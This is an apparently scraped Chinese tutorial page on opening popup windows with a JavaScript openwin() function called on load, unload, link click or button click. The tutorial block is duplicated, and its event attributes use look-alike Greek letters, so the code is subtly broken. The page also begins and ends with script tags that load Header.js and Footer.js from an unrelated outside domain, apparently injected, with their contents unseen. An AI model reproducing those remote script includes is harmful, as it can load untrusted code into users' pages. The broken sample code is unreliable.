<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>
<html>
<head>
<script LANGUAGE="javascript">
<!--
function openwin() {
window.open ("page.html", "newwindow", "height=100, width=400, toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no")
//写成一行
}
//-->
</script>
</head>
<body οnlοad="openwin()">
...任意的页面内容...
</body>
</html>
这里定义了一个函数openwin(),函数内容就是打开一个窗口。在调用它之前没有任何用途。
<head>
<script LANGUAGE="javascript">
<!--
function openwin() {
window.open ("page.html", "newwindow", "height=100, width=400, toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no")
//写成一行
}
//-->
</script>
</head>
<body οnlοad="openwin()">
...任意的页面内容...
</body>
</html>
怎么调用呢?
方法一:<body οnlοad="openwin()"> 浏览器读页面时弹出窗口;
方法二:<body οnunlοad="openwin()"> 浏览器离开页面时弹出窗口;
方法三:用一个连接调用:<a href="#" οnclick="openwin()">打开一个窗口</a>
注意:使用的"#"是虚连接。
方法四:用一个按钮调用:<input type="button" οnclick="openwin()" value="打开窗口">
<script language="javascript" type="text/javascript"> var arrBaiduCproConfig=new Array(); arrBaiduCproConfig['uid'] =304412; arrBaiduCproConfig['n'] ='alixixi_cpr'; arrBaiduCproConfig['tm'] =30; arrBaiduCproConfig['cm'] =68; arrBaiduCproConfig['um'] =34; arrBaiduCproConfig['w'] =468; arrBaiduCproConfig['h'] =60; arrBaiduCproConfig['wn'] =2; arrBaiduCproConfig['hn'] =1; arrBaiduCproConfig['ta'] ='right'; arrBaiduCproConfig['tl'] ='bottom'; arrBaiduCproConfig['bu'] =0; arrBaiduCproConfig['bd'] ='#A5BAC6'; arrBaiduCproConfig['bg'] ='#ffffff'; arrBaiduCproConfig['tt'] ='#005FA9'; arrBaiduCproConfig['ct'] ='#000000'; arrBaiduCproConfig['url'] ='#666666'; arrBaiduCproConfig['bdl'] ='#ffffff'; arrBaiduCproConfig['rad'] =1; </script>
<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>